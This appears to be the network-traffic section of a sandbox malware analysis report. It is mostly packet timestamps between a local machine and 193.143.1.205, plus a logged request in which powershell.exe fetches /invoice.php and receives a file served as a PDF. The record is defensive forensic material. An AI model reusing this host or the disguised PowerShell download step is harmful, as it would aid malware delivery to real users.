Jan 10, 2025 20:48:10.904896021 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.904905081 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.904907942 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.904917955 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.904931068 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.904947042 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.904953957 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.904964924 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.904974937 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.904989004 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.904998064 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.905019999 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.905107021 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.905117989 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.905131102 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.905139923 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.905147076 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.905153036 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.905174971 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.905183077 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.905194044 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.905195951 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.905230045 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.905385017 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.905397892 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.905409098 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.905424118 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.905435085 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.905436993 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.905452013 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.905462027 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.905504942 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.905524015 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.905544043 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.905555964 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.905566931 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.905580044 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.905591965 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.905592918 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.905626059 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.905638933 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.906111956 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.908206940 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.908221960 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.908235073 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.908246994 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.908258915 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.908269882 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.908271074 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.908283949 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.908307076 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.908329964 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.908337116 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.908340931 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.908351898 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.908358097 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.908364058 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.908373117 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.908380032 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.908384085 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.908438921 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.908438921 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.929853916 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.929867029 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.929878950 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.929889917 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.929902077 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.929913998 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.929925919 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.929924965 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.929938078 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.929964066 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.929976940 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.940677881 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.940699100 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.940711021 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.940721035 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.940733910 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.940742016 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.940746069 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.940757990 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.940763950 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.940772057 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.940795898 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.940813065 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.960748911 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.960764885 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.960793972 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.960809946 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.960818052 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.960823059 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.960835934 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.960844994 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.960848093 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.960861921 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.960865974 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.960897923 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.960938931 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.960949898 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.960961103 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.960989952 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.961005926 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.961035013 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.961086988 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.961097956 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.961110115 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.961119890 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.961127996 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.961133957 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.961144924 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.961152077 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.961179018 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.961353064 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.961364031 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.961374998 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.961386919 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.961395979 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.961400032 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.961415052 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.961463928 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.961483002 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.961494923 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.961496115 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.961505890 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.961519957 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.961527109 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.961551905 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.961635113 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.961776972 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.961787939 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.961798906 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.961811066 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.961812019 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.961822033 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.961829901 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.961834908 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.961846113 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.961857080 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.961858034 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.961869001 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.961870909 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.961879969 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.961894035 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.961904049 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.961908102 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.961925030 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.962205887 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.962217093 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.962234974 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.962246895 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.962258101 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.962265968 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.962269068 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.962281942 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.962294102 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.962296963 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.962307930 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.962310076 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.962323904 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.962344885 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.963612080 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.971378088 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.971419096 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.971429110 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.971440077 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.971440077 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.971458912 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.971461058 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.971472979 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.971486092 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.971494913 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.971518993 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.971577883 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.971632957 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.971645117 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.971657991 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.971664906 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.971668959 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.971681118 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.971688032 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.971714973 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.971736908 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.971748114 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.971759081 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.971775055 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.987019062 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.991681099 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.991748095 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.991759062 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.991771936 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.991776943 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.991786003 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.991796017 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.991796970 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.991816044 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.991827965 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.991842985 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.991853952 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.991863966 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.991878033 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.991899967 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.991911888 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.991936922 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.991938114 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.992017984 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.992031097 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.992047071 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.992060900 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.992094994 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.992157936 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.992168903 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.992187023 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.992197990 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.992199898 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.992209911 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.992227077 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.992229939 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.992245913 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.992258072 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.992260933 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.992274046 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.992289066 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.994849920 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.994899988 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.994973898 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.994985104 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.995006084 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.995023012 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.995023966 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.995034933 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.995045900 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.995054007 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.995059013 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.995070934 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.995076895 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.995084047 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.995095968 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.995104074 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.995122910 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.995229006 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.995242119 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.995254040 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.995264053 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.995270014 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.995289087 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:11.016602993 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:11.016627073 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:11.016638994 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:11.016649961 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:11.016661882 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:11.016673088 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:11.016678095 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:11.016685963 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:11.016697884 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:11.016699076 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:11.016737938 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:11.027638912 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:11.027653933 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:11.027666092 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:11.027678013 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:11.027689934 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:11.027690887 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:11.027702093 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:11.027715921 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:11.027729988 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:11.027786970 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:11.047565937 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:11.047594070 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:11.047617912 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:11.047687054 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:11.047715902 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:11.047775984 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:11.047787905 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:11.047800064 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:11.047813892 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:11.047820091 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:11.047821999 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:11.047842979 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:11.047848940 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:11.047862053 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:11.047873020 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:11.047883034 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:11.047883034 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:11.047895908 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:11.047907114 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:11.047907114 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:11.047919989 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:11.047923088 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:11.047943115 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:11.047959089 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:11.048007011 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:11.048018932 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:11.048031092 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:11.048043013 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:11.048047066 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:11.048058033 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:11.048099995 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:11.048144102 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:11.048156023 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:11.081557989 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:11.100791931 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:11.320274115 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:11.788569927 CET	49700	8888	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:11.796919107 CET	8888	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:11.797014952 CET	49700	8888	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:11.797204018 CET	49700	8888	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:11.805172920 CET	8888	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:12.613781929 CET	8888	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:12.665379047 CET	49700	8888	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:12.972839117 CET	49700	8888	192.168.2.7	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 20:48:20.503918886 CET	60426	53	192.168.2.7	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 20:48:20.503918886 CET	192.168.2.7	1.1.1.1	0x5816	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 20:48:20.512275934 CET	1.1.1.1	192.168.2.7	0x5816	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49699	193.143.1.205	80	6932	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 20:48:09.501597881 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 20:48:10.294935942 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 19:48:10 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 